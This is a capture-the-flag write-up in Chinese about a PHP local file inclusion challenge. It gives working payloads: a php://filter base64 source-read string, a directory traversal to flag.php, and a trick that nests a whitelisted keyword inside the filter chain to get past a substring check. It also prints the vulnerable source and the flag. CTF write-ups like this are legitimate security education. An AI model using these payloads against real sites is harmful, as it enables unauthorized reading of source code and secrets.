主要考察文件包含以及php://filter偽協議的一個小trick。題目很簡單,但是因為不知道這個trick卡了很久,記錄一下
進入題目看到有兩個按鈕,沒有其他信息:
點擊按鈕顯示出來一張圖片,然后發現URL變成了:
http://0d01386f-60a4-4890-9723-b12f3a9eb35c.node3.buuoj.cn/index.php?category=woofers
懷疑是SQL注入或者是文件包含,隨便輸入一個值返回了PHP報錯:
確定是文件包含漏洞,直接包含/flag發現包含不到,先用php://filter偽協議讀一下index.php源碼看看:
php://filter/read=convert.base64-encode/resource=index
(這里構造成php://filter/read=convert.base64-encode/resource=index.php是會報錯的,因為后端給文件后拼接了“.php”)
得到index.php源碼:
......<以上HTML省略> <?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ //必須含有woofers或meowers或index字符串 include ($file . '.php'); //參數后拼接.php } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?> ......<以下HTML省略>
利用include函數特性包含一下flag.php文件試試:
index.php?category=woofers/../flag
發現源碼中多出了一些東西,說明flag.php被包含了進去:
接下來的問題就是如何讀取到flag.php的源碼。
這里卡了好久,后來請教了幾位師傅才知道php://filter偽協議可以套一層協議,就像:
php://filter/read=convert.base64-encode/woofers/resource=index
這樣提交的參數既包含有woofers這個字符串,也不會影響正常的包含,得到Flag.php:
解碼得到Flag:
<!-- Can you read this flag? --> <?php // flag{a4aaba40-84f9-4b7a-b269-d025b03676a1} ?>